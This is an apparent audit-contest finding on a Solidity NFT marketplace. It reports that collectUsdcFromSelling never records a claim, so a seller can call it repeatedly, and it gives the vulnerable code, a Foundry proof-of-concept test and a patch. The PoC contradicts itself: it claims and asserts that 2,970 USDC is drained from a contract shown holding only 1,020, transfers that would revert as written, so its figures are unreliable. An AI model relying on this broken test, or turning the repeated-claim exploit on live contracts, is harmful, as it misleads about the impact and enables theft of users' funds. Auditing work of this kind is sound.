NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

collectUsdcFromSelling lacks state mutation to prevent repeated calls, allowing a seller to drain the entire contract balance

Author Revealed upon completion

Root + Impact

Description

After an NFT is sold via buy(), the seller calls collectUsdcFromSelling() to claim their sale proceeds minus fees plus their original minting collateral. This function should only allow a single collection per completed sale, sending the seller their rightful payout exactly once.

The function never resets the listing data, never zeroes collateralForMinting[tokenId], and never sets any "claimed" flag. After buy() sets isActive = false, every guard in collectUsdcFromSelling continues to pass on repeated calls: the onlySeller modifier succeeds because seller is never cleared, and require(!listing.isActive) succeeds because it's already false. Each call sends the full (price - fees + collateral) to the seller again, draining USDC belonging to other users.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
@> totalFeesCollected += fees; // inflated on every repeated call
amountToSeller += collateralToReturn;
@> usdc.safeTransfer(address(this), fees); // no-op self-transfer
@> usdc.safeTransfer(msg.sender, amountToSeller); // full payout every call
​
// @> no state change: listing not deleted, collateral not zeroed, no claimed flag
}

Risk

Likelihood:

  • Any seller who completes a sale discovers this immediately — calling collectUsdcFromSelling a second time succeeds with zero friction, no special setup, and no prerequisites beyond having sold an NFT once.

  • Bots and sophisticated actors will automate repeated calls in a single transaction via a simple attack contract loop, draining the entire contract balance before anyone can react.

Impact:

  • Direct theft of all USDC in the contract — a single malicious seller extracts minting collateral and sale proceeds belonging to every other user in the protocol.

  • totalFeesCollected inflates with each call, meaning the owner's withdrawFees() will attempt to withdraw more USDC than actually exists as fees, either reverting (DoS) or consuming remaining user deposits.

  • Other users' cancelListing() calls revert because their collateral has been stolen from the shared pool, permanently locking their NFTs in unbuyable listings with no way to recover funds.

Proof of Concept

Step 1: Alice mints tokenId=1, depositing 20 USDC as collateral, then lists it for 1,000 USDC.
Step 2: Bob purchases the NFT. The contract now holds 1,020 USDC (20 collateral + 1,000 sale price). The listing's isActive is set to false inside buy().
Step 3: Alice calls collectUsdcFromSelling(1) — the legitimate first call. She receives 990 USDC (1,000 - 30 fees + 20 collateral). No state is mutated: s_listings[1] still has her as seller with the original price, and collateralForMinting[1] still holds 20e6.
Step 4: Alice calls collectUsdcFromSelling(1) a second and third time. Both pass every check — onlySeller passes because seller was never cleared, require(!listing.isActive) passes because it's already false. Each call sends another 990 USDC, totaling 2,970 USDC extracted from a pool that only held 1,020.function test_H01_collectUsdcFromSelling_drain() public {
// Alice mints tokenId=1 (deposits 20 USDC collateral) and lists for 1000 USDC
vm.startPrank(alice);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft();
nftDealers.list(1, 1000e6);
vm.stopPrank();
​
// Bob buys the NFT (sends 1000 USDC to contract)
vm.startPrank(bob);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
​
// Contract holds: 20 (collateral) + 1000 (sale) = 1020 USDC
assertEq(usdc.balanceOf(address(nftDealers)), 1020e6);
​
uint256 aliceBalanceBefore = usdc.balanceOf(alice);
​
// Alice calls collectUsdcFromSelling THREE times — all succeed
vm.startPrank(alice);
nftDealers.collectUsdcFromSelling(1); // 1st call: legitimate
nftDealers.collectUsdcFromSelling(1); // 2nd call: EXPLOIT — no state prevents this
nftDealers.collectUsdcFromSelling(1); // 3rd call: EXPLOIT — drains other users' funds
vm.stopPrank();
​
uint256 aliceGain = usdc.balanceOf(alice) - aliceBalanceBefore;
uint256 fees = nftDealers.calculateFees(1000e6); // 30 USDC (3%)
uint256 singlePayout = (1000e6 - fees) + 20e6; // 990 USDC per call
​
// Alice received 3x the legitimate payout — 2970 USDC from a 1020 USDC pool
assertEq(aliceGain, singlePayout * 3);
// totalFeesCollected inflated 3x — withdrawFees will steal from remaining users
assertEq(nftDealers.totalFeesCollected(), fees * 3);
}

Recommended Mitigation

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ // Prevent repeated claims
+ delete s_listings[_listingId];
+ collateralForMinting[listing.tokenId] = 0;
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}
​
The fix deletes the listing struct and zeroes the collateral mapping before transferring funds. This ensures any subsequent call to collectUsdcFromSelling will have listing.seller == address(0), causing the onlySeller modifier to revert since msg.sender cannot match address(0). The self-transfer of fees is also removed since it was a no-op — the fee amount is naturally retained in the contract after sending only the seller's share.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!